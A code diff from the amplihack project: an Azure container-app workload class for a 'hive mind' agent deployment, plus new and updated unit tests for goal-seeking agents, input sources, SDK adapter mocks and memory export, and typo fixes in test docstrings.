DeploymentNotFoundError(f"Deployment {deployment_id} not found") + + app_names: list[str] = (state.metadata or {}).get("container_apps", []) + if not app_names: + app_names = self._container_apps.get(deployment_id, []) + + resource_group = (state.metadata or {}).get("resource_group", "") + subscription_id = (state.metadata or {}).get("subscription_id", "") + + deleted = 0 + failed = 0 + details: list[str] = [] + errors: list[str] = [] + + for app_name in app_names: + success = await self._delete_container_app(app_name, resource_group, subscription_id) + if success: + deleted += 1 + details.append(f"Deleted container app: {app_name}") + else: + failed += 1 + errors.append(f"Failed to delete: {app_name}") + + self._container_apps.pop(deployment_id, None) + state.status = DeploymentStatus.STOPPED + state.phase = "cleaned_up" + state.stopped_at = datetime.now(tz=UTC) + await self.save_state(state) + + self.log( + f"Cleanup complete: deleted={deleted} failed={failed} " + f"deployment_id={deployment_id}" + ) + return CleanupReport( + deployment_id=deployment_id, + resources_deleted=deleted, + resources_failed=failed, + details=details, + errors=errors, + duration_seconds=time.monotonic() - start_time, + ) + + # ========================================================================= + # Public helpers (used by CLI extensions) + # ========================================================================= + + async def feed( + self, + deployment_id: str, + turns: int = 100, + topic_name: str | None = None, + ) -> None: + """Publish LEARN_CONTENT events then a FEED_COMPLETE sentinel. + + Equivalent to: ``python feed_content.py --turns N`` + + Args: + deployment_id: Deployment that will receive the content. + turns: Number of LEARN_CONTENT events to send. + topic_name: Override Service Bus topic (reads from deployment state if omitted). + """ + from amplihack.workloads.hive._feed import run_feed + + state = await self.load_state(deployment_id) if _HAYMAKER_AVAILABLE else None + resolved_topic = topic_name or ( + (state.metadata or {}).get("topic_name", _DEFAULT_TOPIC) if state else _DEFAULT_TOPIC + ) + sb_conn_str = ( + (state.metadata or {}).get("service_bus_connection_string", "") + if state + else "" + ) + await run_feed( + deployment_id=deployment_id, + turns=turns, + topic_name=resolved_topic, + sb_conn_str=sb_conn_str, + ) + + async def eval( + self, + deployment_id: str, + repeats: int = 3, + wait_for_ready: int = 0, + timeout_seconds: int = 600, + ) -> list[dict[str, Any]]: + """Wait for agents to be ready, then run eval rounds. + + Waits for ``wait_for_ready`` HIVE_AGENT_READY events before starting + eval rounds. Uses event-driven signalling — no sleep timers. + + Args: + deployment_id: Deployment to evaluate. + repeats: Number of question rounds. + wait_for_ready: Number of AGENT_READY events to wait for (0 = skip wait). + timeout_seconds: Maximum seconds to wait for agents to be ready. + + Returns: + List of {question, answers: [{agent, answer}]} dicts. + """ + from amplihack.workloads.hive._eval import run_eval + + state = await self.load_state(deployment_id) if _HAYMAKER_AVAILABLE else None + sb_conn_str = ( + (state.metadata or {}).get("service_bus_connection_string", "") if state else "" + ) + resolved_topic = ( + (state.metadata or {}).get("topic_name", _DEFAULT_TOPIC) if state else _DEFAULT_TOPIC + ) + + return await run_eval( + deployment_id=deployment_id, + repeats=repeats, + wait_for_ready=wait_for_ready, + timeout_seconds=timeout_seconds, + sb_conn_str=sb_conn_str, + topic_name=resolved_topic, + ) + + # ========================================================================= + # Private helpers + # ========================================================================= + + async def _deploy_single_container( + self, + *, + deployment_id: str, + app_name: str, + image: str, + resource_group: str, + subscription_id: str, + env_vars: dict[str, str], + cpu: float, + memory_gb: int, + location: str, + ) -> dict[str, Any]: + """Deploy a single container app via az CLI.""" + try: + from agent_haymaker.azure.container_apps import deploy_container_app + from agent_haymaker.azure.config import AzureConfig + + config = AzureConfig( + resource_group=resource_group, + subscription_id=subscription_id, + location=location, + ) + result = await deploy_container_app( + config=config, + deployment_id=deployment_id, + workload_name=app_name, + image=image or None, + env_vars=env_vars, + cpu=cpu, + memory_gb=memory_gb, + ) + return result + except ImportError: + logger.warning("agent-haymaker azure module not available; skipping container deploy") + return {"app_name": app_name} + + async def _query_app_statuses( + self, + app_names: list[str], + resource_group: str, + subscription_id: str, + ) -> dict[str, str]: + """Return {app_name: provisioning_state} for each app.""" + statuses: dict[str, str] = {} + try: + from agent_haymaker.azure.container_apps import get_container_app_status + from agent_haymaker.azure.config import AzureConfig + + config = AzureConfig( + resource_group=resource_group, + subscription_id=subscription_id, + location=_DEFAULT_LOCATION, + ) + for app_name in app_names: + info = await get_container_app_status(config, app_name) + statuses[app_name] = info.get("status", "Unknown") + except ImportError: + statuses = {n: "Unknown" for n in app_names} + return statuses + + async def _stream_app_logs( + self, + app_name: str, + resource_group: str, + subscription_id: str, + lines: int, + follow: bool, + ) -> AsyncIterator[str]: + """Stream logs from a container app using az CLI.""" + try: + from agent_haymaker.azure.az_cli import run_az + + cmd = [ + "containerapp", + "logs", + "show", + "--name", app_name, + "--resource-group", resource_group, + "--subscription", subscription_id, + "--tail", str(lines), + ] + if follow: + cmd.append("--follow") + + _rc, stdout, _stderr = run_az(cmd) + if stdout: + for line in stdout.splitlines(): + yield line + except ImportError: + yield f"[az CLI not available — cannot fetch logs for {app_name}]" + except Exception as exc: + yield f"[Error fetching logs for {app_name}: {exc}]" + + async def _scale_app( + self, + app_name: str, + resource_group: str, + subscription_id: str, + min_replicas: int, + ) -> bool: + """Set min-replicas on a container app.""" + try: + from agent_haymaker.azure.az_cli import run_az + + rc, _out, stderr = run_az( + [ + "containerapp", + "update", + "--name", app_name, + "--resource-group", resource_group, + "--subscription", subscription_id, + "--min-replicas", str(min_replicas), + "--max-replicas", str(min_replicas), + ] + ) + if rc != 0: + logger.warning("Failed to scale %s: %s", app_name, stderr) + return False + return True + except ImportError: + return False + + async def _delete_container_app( + self, + app_name: str, + resource_group: str, + subscription_id: str, + ) -> bool: + """Delete a container app.""" + try: + from agent_haymaker.azure.container_apps import delete_container_app + from agent_haymaker.azure.config import AzureConfig + + config = AzureConfig( + resource_group=resource_group, + subscription_id=subscription_id, + location=_DEFAULT_LOCATION, + ) + return await delete_container_app(config, app_name) + except ImportError: + logger.warning("agent-haymaker azure module not available; cannot delete %s", app_name) + return False + + def log(self, message: str, level: str = "INFO") -> None: + """Log via platform if available, else stdlib.""" + if self._platform: + self._platform.log(message, level=level, workload=self.name) + else: + import logging as _logging + _logging.getLogger(f"workload.{self.name}").log( + getattr(_logging, level.upper(), _logging.INFO), message + ) + + +__all__ = ["HiveMindWorkload"] diff --git a/tests/agents/goal_seeking/test_copilot_sdk_adapter.py b/tests/agents/goal_seeking/test_copilot_sdk_adapter.py index c952778fc..e755d536e 100644 --- a/tests/agents/goal_seeking/test_copilot_sdk_adapter.py +++ b/tests/agents/goal_seeking/test_copilot_sdk_adapter.py @@ -506,13 +506,23 @@ def test_factory_creates_copilot(self): @patch(f"{_P}.HAS_COPILOT_SDK", True) def test_factory_default_is_microsoft(self): + import amplihack.agents.goal_seeking.sdk_adapters.microsoft_sdk as _ms from amplihack.agents.goal_seeking.sdk_adapters.factory import create_agent from amplihack.agents.goal_seeking.sdk_adapters.microsoft_sdk import ( MicrosoftGoalSeekingAgent, ) + from unittest.mock import MagicMock _key = "test-key" # pragma: allowlist secret - with patch.dict(os.environ, {"OPENAI_API_KEY": _key}): + _mock_agent = MagicMock() + _mock_agent.create_session.return_value = MagicMock() + with ( + patch.object(_ms, "_HAS_AGENT_FRAMEWORK", True), + patch.object(_ms, "AFAgent", MagicMock(return_value=_mock_agent)), + patch.object(_ms, "AFFunctionTool", MagicMock()), + patch.object(_ms, "OpenAIChatClient", MagicMock()), + patch.dict(os.environ, {"OPENAI_API_KEY": _key}), + ): agent = create_agent(name="default-test", enable_memory=False) assert isinstance(agent, MicrosoftGoalSeekingAgent) diff --git a/tests/agents/goal_seeking/test_goal_seeking_agent.py b/tests/agents/goal_seeking/test_goal_seeking_agent.py new file mode 100644 index 000000000..04557372c --- /dev/null +++ b/tests/agents/goal_seeking/test_goal_seeking_agent.py @@ -0,0 +1,219 @@ +"""Unit tests for GoalSeekingAgent.decide(). + +Covers: +- Plain content text → 'store' +- Question with '?' → 'answer' +- Question with interrogative prefix → 'answer' +- Empty / None / whitespace-only input → 'store' +- Text with '?' mid-sentence → 'answer' +- Mixed edge cases +""" + +from unittest.mock import MagicMock, patch + +import pytest + + +class TestGoalSeekingAgentDecide: + """Unit tests for GoalSeekingAgent.decide() heuristic classification.""" + + @pytest.fixture + def agent(self): + """Create a GoalSeekingAgent with a mocked LearningAgent backend.""" + with patch( + "amplihack.agents.goal_seeking.goal_seeking_agent.GoalSeekingAgent.__init__", + lambda self, **kwargs: None, + ): + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + ag = GoalSeekingAgent.__new__(GoalSeekingAgent) + ag._agent_name = "test_agent" + ag._current_input = "" + ag._oriented_facts = {} + ag._decision = "" + ag._learning_agent = MagicMock() + return ag + + # ------------------------------------------------------------------ + # Helper + # ------------------------------------------------------------------ + + def _decide(self, agent, text: str) -> str: + """Set _current_input and call decide().""" + agent._current_input = text + agent._decision = "" + return agent.decide() + + # ------------------------------------------------------------------ + # Content → store + # ------------------------------------------------------------------ + + def test_plain_sentence_routes_to_store(self, agent): + """Plain declarative content should be classified as 'store'.""" + result = self._decide(agent, "The Eiffel Tower is in Paris.") + assert result == "store" + + def test_multi_word_content_routes_to_store(self, agent): + """Multi-sentence article content should route to store.""" + text = ( + "Amplihack is a framework for building goal-seeking agents. " + "It supports distributed hive mind architectures." + ) + result = self._decide(agent, text) + assert result == "store" + + def test_single_word_routes_to_store(self, agent): + """Single word without question mark routes to store.""" + result = self._decide(agent, "Python") + assert result == "store" + + def test_content_with_exclamation_routes_to_store(self, agent): + """Content ending with '!' (not a question) should route to store.""" + result = self._decide(agent, "That is amazing!") + assert result == "store" + + # ------------------------------------------------------------------ + # Question mark → answer + # ------------------------------------------------------------------ + + def test_question_mark_at_end_routes_to_answer(self, agent): + """Text ending with '?' should route to answer.""" + result = self._decide(agent, "What is the capital of France?") + assert result == "answer" + + def test_simple_question_mark_routes_to_answer(self, agent): + """A bare '?' alone should route to answer.""" + result = self._decide(agent, "?") + assert result == "answer" + + def test_question_mark_mid_sentence_followed_by_period_routes_to_store(self, agent): + """Text with '?' mid-sentence but ending with '.' routes to store. + + The heuristic checks endswith('?') — if the overall text ends with a + period (i.e. it is structured as content with an embedded question), + the conservative choice is to store rather than answer. + """ + result = self._decide(agent, "I wonder if it works? Please check.") + assert result == "store" + + def test_question_mark_at_end_after_mid_sentence_routes_to_answer(self, agent): + """Text ending with '?' routes to answer even with content before it.""" + result = self._decide(agent, "I have content here, but is this correct?") + assert result == "answer" + + def test_trailing_whitespace_with_question_mark_routes_to_answer(self, agent): + """Text with trailing whitespace after '?' still routes to answer.""" + # strip() in decide() normalises leading/trailing whitespace + result = self._decide(agent, " Is this a question? ") + assert result == "answer" + + # ------------------------------------------------------------------ + # Interrogative prefix → answer + # ------------------------------------------------------------------ + + @pytest.mark.parametrize( + "prefix", + [ + "what ", + "who ", + "when ", + "where ", + "why ", + "how ", + "which ", + "is ", + "are ", + "was ", + "were ", + "do ", + "does ", + "did ", + "can ", + "could ", + "should ", + "would ", + "will ", + "has ", + "have ", + "had ", + ], + ) + def test_interrogative_prefix_routes_to_answer(self, agent, prefix): + """Each interrogative prefix should trigger 'answer' classification.""" + text = prefix + "you tell me the answer" + result = self._decide(agent, text) + assert result == "answer", f"Expected 'answer' for input: {text!r}" + + def test_uppercase_interrogative_prefix_routes_to_answer(self, agent): + """Uppercase interrogative prefix should still route to answer (case-insensitive).""" + result = self._decide(agent, "What is 2 + 2?") + assert result == "answer" + + def test_mixed_case_what_routes_to_answer(self, agent): + """Mixed-case 'WHAT' prefix should route to answer.""" + result = self._decide(agent, "WHAT is the meaning of life?") + assert result == "answer" + + # ------------------------------------------------------------------ + # Empty / None / whitespace → store (safe default) + # ------------------------------------------------------------------ + + def test_empty_string_routes_to_store(self, agent): + """Empty string should route to store (safe default).""" + result = self._decide(agent, "") + assert result == "store" + + def test_whitespace_only_routes_to_store(self, agent): + """Whitespace-only text should route to store after strip().""" + result = self._decide(agent, " \t\n ") + assert result == "store" + + def test_observe_none_routes_to_store(self, agent): + """observe(None) sets _current_input = '' → decide() returns 'store'.""" + # Simulate what observe() does with None + agent._current_input = None or "" + agent._decision = "" + result = agent.decide() + assert result == "store" + + # ------------------------------------------------------------------ + # Decision is stored on the agent + # ------------------------------------------------------------------ + + def test_decide_stores_result_on_agent(self, agent): + """decide() should update self._decision for act() to read.""" + self._decide(agent, "Tell me about Paris.") + assert agent._decision == "store" + + def test_decide_stores_answer_decision(self, agent): + """decide() should store 'answer' when input is a question.""" + self._decide(agent, "Where is Paris?") + assert agent._decision == "answer" + + # ------------------------------------------------------------------ + # Edge cases + # ------------------------------------------------------------------ + + def test_period_mid_sentence_not_confused_as_question(self, agent): + """A full stop in content should not change 'store' classification.""" + result = self._decide(agent, "The temp. is 20 degrees. Store this.") + assert result == "store" + + def test_sentence_starting_with_is_but_factual(self, agent): + """'is' is an interrogative prefix — sentence starting with 'is' routes to answer.""" + # This is intentional: "is X true" is ambiguous but the heuristic + # treats it as a question. Verify the heuristic is applied consistently. + result = self._decide(agent, "is the sky blue") + assert result == "answer" + + def test_content_only_digits_routes_to_store(self, agent): + """Numeric content should route to store.""" + result = self._decide(agent, "42") + assert result == "store" + + def test_decision_resets_between_calls(self, agent): + """Subsequent calls with different input produce fresh decisions.""" + result1 = self._decide(agent, "Some content to store.") + result2 = self._decide(agent, "What is the capital of France?") + assert result1 == "store" + assert result2 == "answer" diff --git a/tests/agents/goal_seeking/test_input_source.py b/tests/agents/goal_seeking/test_input_source.py new file mode 100644 index 000000000..1718e27ae --- /dev/null +++ b/tests/agents/goal_seeking/test_input_source.py @@ -0,0 +1,257 @@ +"""Unit tests for InputSource implementations. + +Tests cover: +- ListInputSource: iteration, exhaustion, close(), remaining() +- StdinInputSource: normal reads, EOF, close +- ServiceBusInputSource: constructor guard (no azure-servicebus dependency needed for most tests) +- InputSource protocol conformance +- GoalSeekingAgent.run_ooda_loop integration with ListInputSource (mocked process()) +""" + +from __future__ import annotations + +import io +import json +import threading +import time +from unittest.mock import MagicMock, patch + +import pytest + +from amplihack.agents.goal_seeking.input_source import ( + InputSource, + ListInputSource, + StdinInputSource, + _extract_text_from_bus_event, +) + + +# --------------------------------------------------------------------------- +# ListInputSource tests +# --------------------------------------------------------------------------- + + +class TestListInputSource: + def test_returns_items_in_order(self): + src = ListInputSource(["a", "b", "c"]) + assert src.next() == "a" + assert src.next() == "b" + assert src.next() == "c" + + def test_returns_none_when_exhausted(self): + src = ListInputSource(["x"]) + src.next() + assert src.next() is None + + def test_empty_list_returns_none_immediately(self): + src = ListInputSource([]) + assert src.next() is None + + def test_close_makes_next_return_none(self): + src = ListInputSource(["a", "b"]) + src.close() + assert src.next() is None + + def test_remaining_tracks_unconsumed_items(self): + src = ListInputSource(["a", "b", "c"]) + assert src.remaining() == 3 + src.next() + assert src.remaining() == 2 + src.next() + src.next() + assert src.remaining() == 0 + + def test_len(self): + src = ListInputSource(["a", "b", "c", "d"]) + assert len(src) == 4 + + def test_does_not_mutate_original_list(self): + original = ["a", "b"] + src = ListInputSource(original) + src.next() + assert original == ["a", "b"] + + def test_conforms_to_protocol(self): + src = ListInputSource(["x"]) + assert isinstance(src, InputSource) + + +# --------------------------------------------------------------------------- +# StdinInputSource tests +# --------------------------------------------------------------------------- + + +class TestStdinInputSource: + def test_reads_lines_from_stream(self): + stream = io.StringIO("hello\nworld\n") + src = StdinInputSource(stream=stream) + assert src.next() == "hello" + assert src.next() == "world" + + def test_eof_returns_none(self): + stream = io.StringIO("") + src = StdinInputSource(stream=stream) + assert src.next() is None + + def test_empty_line_signals_eof_by_default(self): + stream = io.StringIO("\n") + src = StdinInputSource(stream=stream, eof_on_empty=True) + assert src.next() is None + + def test_empty_line_not_eof_when_disabled(self): + stream = io.StringIO("\nhello\n") + src = StdinInputSource(stream=stream, eof_on_empty=False) + assert src.next() == "" + assert src.next() == "hello" + + def test_close_makes_next_return_none(self): + stream = io.StringIO("hello\n") + src = StdinInputSource(stream=stream) + src.close() + assert src.next() is None + + def test_strips_newline(self): + stream = io.StringIO("line1\n") + src = StdinInputSource(stream=stream) + assert src.next() == "line1" + + def test_conforms_to_protocol(self): + src = StdinInputSource(stream=io.StringIO()) + assert isinstance(src, InputSource) + + +# --------------------------------------------------------------------------- +# _extract_text_from_bus_event helper tests +# --------------------------------------------------------------------------- + + +class TestExtractTextFromBusEvent: + def test_learn_content_returns_content(self): + result = _extract_text_from_bus_event("LEARN_CONTENT", {"content": "hello"}) + assert result == "hello" + + def test_query_returns_question(self): + result = _extract_text_from_bus_event("QUERY", {"question": "What is X?"}) + assert result == "What is X?" + + def test_input_event_returns_text(self): + result = _extract_text_from_bus_event("INPUT", {"text": "some text"}) + assert result == "some text" + + def test_agent_ready_returns_none(self): + assert _extract_text_from_bus_event("AGENT_READY", {}) is None + + def test_query_response_returns_none(self): + assert _extract_text_from_bus_event("QUERY_RESPONSE", {}) is None + + def test_search_response_returns_none(self): + assert _extract_text_from_bus_event("network_graph.search_response", {}) is None + + def test_feed_complete_returns_sentinel(self): + result = _extract_text_from_bus_event("FEED_COMPLETE", {"total_turns": 5000}) + assert result == "__FEED_COMPLETE__:5000" + + def test_generic_event_falls_back_to_content_field(self): + result = _extract_text_from_bus_event("UNKNOWN_TYPE", {"content": "generic"}) + assert result == "generic" + + def test_empty_learn_content_returns_none(self): + assert _extract_text_from_bus_event("LEARN_CONTENT", {"content": ""}) is None + + +# --------------------------------------------------------------------------- +# ServiceBusInputSource: constructor guard test +# --------------------------------------------------------------------------- + + +class TestServiceBusInputSourceGuard: + def test_raises_import_error_without_azure_servicebus(self): + """ServiceBusInputSource must raise ImportError when azure-servicebus is missing.""" + import importlib + import sys + + original = sys.modules.get("azure.servicebus") + sys.modules["azure.servicebus"] = None # type: ignore[assignment] + try: + from amplihack.agents.goal_seeking import input_source as _is_mod + + importlib.reload(_is_mod) + from amplihack.agents.goal_seeking.input_source import ServiceBusInputSource as _SBIs + + with pytest.raises((ImportError, TypeError)): + _SBIs("Endpoint=sb://fake.servicebus.windows.net/;...", "agent-0") + finally: + if original is None: + sys.modules.pop("azure.servicebus", None) + else: + sys.modules["azure.servicebus"] = original + + +# --------------------------------------------------------------------------- +# GoalSeekingAgent.run_ooda_loop integration test (mocked process) +# --------------------------------------------------------------------------- + + +class TestRunOodaLoop: + def test_processes_all_turns_in_order(self): + """run_ooda_loop calls process() once per turn with correct text.""" + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + agent = GoalSeekingAgent.__new__(GoalSeekingAgent) + agent._agent_name = "test-agent" + processed = [] + agent.process = lambda text: processed.append(text) or "" + + src = ListInputSource(["turn-1", "turn-2", "turn-3"]) + agent.run_ooda_loop(src) + + assert processed == ["turn-1", "turn-2", "turn-3"] + + def test_exits_on_none(self): + """run_ooda_loop exits cleanly when next() returns None.""" + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + agent = GoalSeekingAgent.__new__(GoalSeekingAgent) + agent._agent_name = "test-agent" + call_count = [0] + agent.process = lambda _: (call_count.__setitem__(0, call_count[0] + 1) or "") + + src = ListInputSource([]) + agent.run_ooda_loop(src) + assert call_count[0] == 0 + + def test_skips_feed_complete_sentinel(self): + """FEED_COMPLETE sentinel is not forwarded to process().""" + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + agent = GoalSeekingAgent.__new__(GoalSeekingAgent) + agent._agent_name = "test-agent" + processed = [] + agent.process = lambda text: processed.append(text) or "" + + src = ListInputSource(["real-turn", "__FEED_COMPLETE__:100"]) + agent.run_ooda_loop(src) + + assert processed == ["real-turn"] + assert "__FEED_COMPLETE__:100" not in processed + + def test_continues_after_process_exception(self): + """run_ooda_loop continues to next turn when process() raises.""" + from amplihack.agents.goal_seeking.goal_seeking_agent import GoalSeekingAgent + + agent = GoalSeekingAgent.__new__(GoalSeekingAgent) + agent._agent_name = "test-agent" + processed = [] + + def _process(text): + if text == "bad": + raise RuntimeError("simulated error") + processed.append(text) + return "" + + agent.process = _process + + src = ListInputSource(["good-1", "bad", "good-2"]) + agent.run_ooda_loop(src) + + assert processed == ["good-1", "good-2"] diff --git a/tests/agents/goal_seeking/test_memory_export.py b/tests/agents/goal_seeking/test_memory_export.py index 379e41556..5dace9a81 100644 --- a/tests/agents/goal_seeking/test_memory_export.py +++ b/tests/agents/goal_seeking/test_memory_export.py @@ -138,7 +138,7 @@ def test_export_includes_agent_name(self, populated_memory): def test_export_format_version(self, populated_memory): """Export should include a format version.""" data = populated_memory.export_to_json() - assert data["format_version"] == "1.0" + assert data["format_version"] == "1.1" def test_export_is_json_serializable(self, populated_memory): """Exported data should be JSON-serializable without error.""" @@ -360,6 +360,7 @@ def test_json_contains_all_fields(self, populated_memory, temp_dir): "similar_to_edges", "derives_from_edges", "supersedes_edges", + "transitioned_to_edges", "statistics", } assert set(data.keys()) == expected_keys diff --git a/tests/agents/goal_seeking/test_microsoft_sdk_adapter.py b/tests/agents/goal_seeking/test_microsoft_sdk_adapter.py index b16a44d26..e4bcb2997 100644 --- a/tests/agents/goal_seeking/test_microsoft_sdk_adapter.py +++ b/tests/agents/goal_seeking/test_microsoft_sdk_adapter.py @@ -38,6 +38,28 @@ _TEST_API_KEY = "test-key-for-unit-tests" # pragma: allowlist secret +import amplihack.agents.goal_seeking.sdk_adapters.microsoft_sdk as _ms_sdk + +# Permanently mock agent-framework at module level since it's not installed. +# This allows all tests to create MicrosoftGoalSeekingAgent instances without +# needing the real agent-framework package. +_MOCK_SESSION = MagicMock() +_MOCK_AF_AGENT_INSTANCE = MagicMock() +_MOCK_AF_AGENT_INSTANCE.create_session.return_value = _MOCK_SESSION +_MOCK_AF_AGENT_CLS = MagicMock(return_value=_MOCK_AF_AGENT_INSTANCE) +_MOCK_AF_FUNCTION_TOOL_CLS = MagicMock() +_MOCK_OPENAI_CLIENT_CLS = MagicMock() + +_ms_sdk._HAS_AGENT_FRAMEWORK = True +_ms_sdk.AFAgent = _MOCK_AF_AGENT_CLS +_ms_sdk.AFFunctionTool = _MOCK_AF_FUNCTION_TOOL_CLS +_ms_sdk.OpenAIChatClient = _MOCK_OPENAI_CLIENT_CLS + +# Keep backward-compatible aliases used in some tests +_MOCK_AF_AGENT = _MOCK_AF_AGENT_INSTANCE +_MOCK_AF_FUNCTION_TOOL = _MOCK_AF_FUNCTION_TOOL_CLS +_MOCK_OPENAI_CLIENT = _MOCK_OPENAI_CLIENT_CLS + def _make_agent( name: str = "test-agent", @@ -46,7 +68,7 @@ def _make_agent( enable_memory: bool = False, **kwargs: Any, ) -> MicrosoftGoalSeekingAgent: - """Create a MicrosoftGoalSeekingAgent with OPENAI_API_KEY mocked.""" + """Create a MicrosoftGoalSeekingAgent with agent-framework mocked.""" with patch.dict(os.environ, {"OPENAI_API_KEY": _TEST_API_KEY}): return MicrosoftGoalSeekingAgent( name=name, @@ -257,7 +279,8 @@ class TestToolImplementationsWithMemory: def test_learn_stores_fact(self): agent = _make_agent_with_mock_memory() - result = agent._tool_learn(content="Python is a language") + with patch.object(agent, "_get_learning_agent", return_value=None): + result = agent._tool_learn(content="Python is a language") assert result["status"] == "learned" agent.memory.store_fact.assert_called_once() @@ -351,18 +374,18 @@ class TestSessionManagement: def test_has_thread(self): agent = _make_agent() - assert agent._thread is not None + assert agent._session is not None def test_reset_session(self): agent = _make_agent() agent.reset_session() # Should create a new thread - assert agent._thread is not None + assert agent._session is not None def test_close(self): agent = _make_agent() agent.close() - assert agent._thread is None + assert agent._session is None # =========================================================================== diff --git a/tests/conftest.py b/tests/conftest.py index 15a4bad05..c9a7cf15f 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -798,7 +798,7 @@ def validate( @pytest.fixture def sample_plugin(tmp_path): - """Create a sample plugin fer testin'. + """Create a sample plugin for testin'. Returns: Path: Directory containin' sample plugin with valid manifest @@ -810,7 +810,7 @@ def sample_plugin(tmp_path): manifest = { "name": "sample-plugin", "version": "1.0.0", - "description": "Sample plugin fer testin'", + "description": "Sample plugin for testin'", "author": "Test Author", "mcpServers": {"sample-server": {"command": "node", "args": ["server.js"]}}, } @@ -827,7 +827,7 @@ def sample_plugin(tmp_path): @pytest.fixture def invalid_plugin(tmp_path): - """Create an invalid plugin fer testin' error handlin'. + """Create an invalid plugin for testin' error handlin'. Returns: Path: Directory containin' plugin with invalid/missing manifest @@ -843,7 +843,7 @@ def invalid_plugin(tmp_path): @pytest.fixture def multi_language_project(tmp_path): - """Create a multi-language project fer LSP testin'. + """Create a multi-language project for LSP testin'. Returns: Path: Directory containin' Python, TypeScript, and Rust files @@ -871,7 +871,7 @@ def multi_language_project(tmp_path): def assert_subprocess_success(result): """Assert that a subprocess result was successful. - Helper function fer clearer test assertions. + Helper function for clearer test assertions. Args: result: SubprocessResult from test harness diff --git a/tests/e2e/memory/test_hook_integration.py b/tests/e2e/memory/test_hook_integration.py index 26ff2ed13..bf8e3668f 100644 --- a/tests/e2e/memory/test_hook_integration.py +++ b/tests/e2e/memory/test_hook_integration.py @@ -1,4 +1,4 @@ -"""End-to-end tests fer hook integration with memory system. +"""End-to-end tests for hook integration with memory system. Tests automatic memory operations triggered by hooks: - UserPromptSubmit: Inject relevant memories @@ -27,7 +27,7 @@ from amplihack.memory.coordinator import MemoryCoordinator from amplihack.memory.database import MemoryDatabase - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType except ImportError: pytest.skip("Memory hooks not implemented yet", allow_module_level=True) @@ -98,7 +98,7 @@ async def test_hook_injects_relevant_memories(self, hook, coordinator, mock_agen @pytest.mark.asyncio async def test_hook_respects_token_budget(self, hook, coordinator, mock_agents, temp_db): - """Hook respects token budget fer injection.""" + """Hook respects token budget for injection.""" with patch("amplihack.memory.storage_pipeline.Task", mock_agents): # Store many large memories from amplihack.memory.storage_pipeline import StorageRequest @@ -128,7 +128,7 @@ async def test_hook_respects_token_budget(self, hook, coordinator, mock_agents, async def test_hook_no_injection_fer_irrelevant_prompt( self, hook, coordinator, mock_agents, temp_db ): - """Hook does not inject fer irrelevant prompts.""" + """Hook does not inject for irrelevant prompts.""" with patch("amplihack.memory.storage_pipeline.Task", mock_agents): # Store memories about CI from amplihack.memory.storage_pipeline import StorageRequest @@ -217,7 +217,7 @@ async def test_hook_extracts_learnings_on_session_stop(self, hook, coordinator, @pytest.mark.asyncio async def test_hook_stores_episodic_memories(self, hook, coordinator, mock_agents): - """Hook stores episodic memories fer conversations.""" + """Hook stores episodic memories for conversations.""" with patch("amplihack.memory.storage_pipeline.Task", mock_agents): session_data = { "session_id": "test-123", @@ -232,7 +232,7 @@ async def test_hook_stores_episodic_memories(self, hook, coordinator, mock_agent await hook.on_session_stop(session_data) - # Query fer episodic memories + # Query for episodic memories from amplihack.memory.retrieval_pipeline import RetrievalQuery query = RetrievalQuery( @@ -384,7 +384,7 @@ async def test_hook_clears_working_memory_on_complete(self, hook, coordinator, m async def test_hook_creates_prospective_memory_fer_follow_up( self, hook, coordinator, mock_agents ): - """Hook creates prospective memory fer follow-up tasks.""" + """Hook creates prospective memory for follow-up tasks.""" with patch("amplihack.memory.storage_pipeline.Task", mock_agents): # Task with follow-up task_data = { @@ -412,7 +412,7 @@ async def test_hook_creates_prospective_memory_fer_follow_up( class TestHookIntegrationPerformance: - """Test performance requirements fer hook integration.""" + """Test performance requirements for hook integration.""" @pytest.mark.asyncio async def test_user_prompt_hook_low_overhead(self, coordinator, mock_agents, temp_db): diff --git a/tests/e2e/memory/test_memory_lifecycle.py b/tests/e2e/memory/test_memory_lifecycle.py index 1fb94da93..3a94ec66c 100644 --- a/tests/e2e/memory/test_memory_lifecycle.py +++ b/tests/e2e/memory/test_memory_lifecycle.py @@ -1,4 +1,4 @@ -"""End-to-end tests fer complete memory lifecycle. +"""End-to-end tests for complete memory lifecycle. Tests complete flow: Store → Retrieve → Clear with real database and mocked agents. @@ -22,7 +22,7 @@ StorageRequest, ) from amplihack.memory.database import MemoryDatabase - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType except ImportError: pytest.skip("Memory system not implemented yet", allow_module_level=True) @@ -30,7 +30,7 @@ # Module-level fixtures used by all test classes @pytest.fixture def temp_db(tmp_path): - """Create temporary database fer testing.""" + """Create temporary database for testing.""" db_path = tmp_path / "test_memory.db" db = MemoryDatabase(db_path) db.initialize() @@ -40,10 +40,10 @@ def temp_db(tmp_path): @pytest.fixture def coordinator(tmp_path): - """Create memory coordinator with isolated Kùzu backend fer each test.""" - from amplihack.memory.backends import create_backend + """Create memory coordinator with isolated Kùzu backend for each test.""" + from amplihack.memory.sqlite_backend import create_backend - # Create isolated Kùzu backend with unique temp path fer each test + # Create isolated Kùzu backend with unique temp path for each test kuzu_db_path = tmp_path / "test_kuzu.db" backend = create_backend(backend_type="kuzu", db_path=kuzu_db_path) @@ -53,7 +53,7 @@ def coordinator(tmp_path): @pytest.fixture def mock_agents(): - """Mock agent responses fer consistent testing.""" + """Mock agent responses for consistent testing.""" mock_invoke = AsyncMock() # Default to high-quality reviews mock_invoke.return_value = { @@ -226,15 +226,15 @@ class TestMemoryPersistence: @pytest.fixture def db_path(self, tmp_path): - """Database path fer testing persistence.""" + """Database path for testing persistence.""" return tmp_path / "persistent_memory.db" @pytest.mark.asyncio async def test_memories_persist_across_sessions(self, db_path, mock_agents): """Memories persist when coordinator is recreated.""" - from amplihack.memory.backends import create_backend + from amplihack.memory.sqlite_backend import create_backend - # Use same session ID fer both coordinators to test persistence + # Use same session ID for both coordinators to test persistence test_session_id = "persistence-test-session" # Session 1: Store memory @@ -250,7 +250,7 @@ async def test_memories_persist_across_sessions(self, db_path, mock_agents): memory_id = await coordinator1.store(request) assert memory_id is not None - # Close session 1 (not needed fer Kùzu, but good practice) + # Close session 1 (not needed for Kùzu, but good practice) # backend1 doesn't have close() method currently # Session 2: Retrieve memory (new coordinator, same DB path, same session ID) 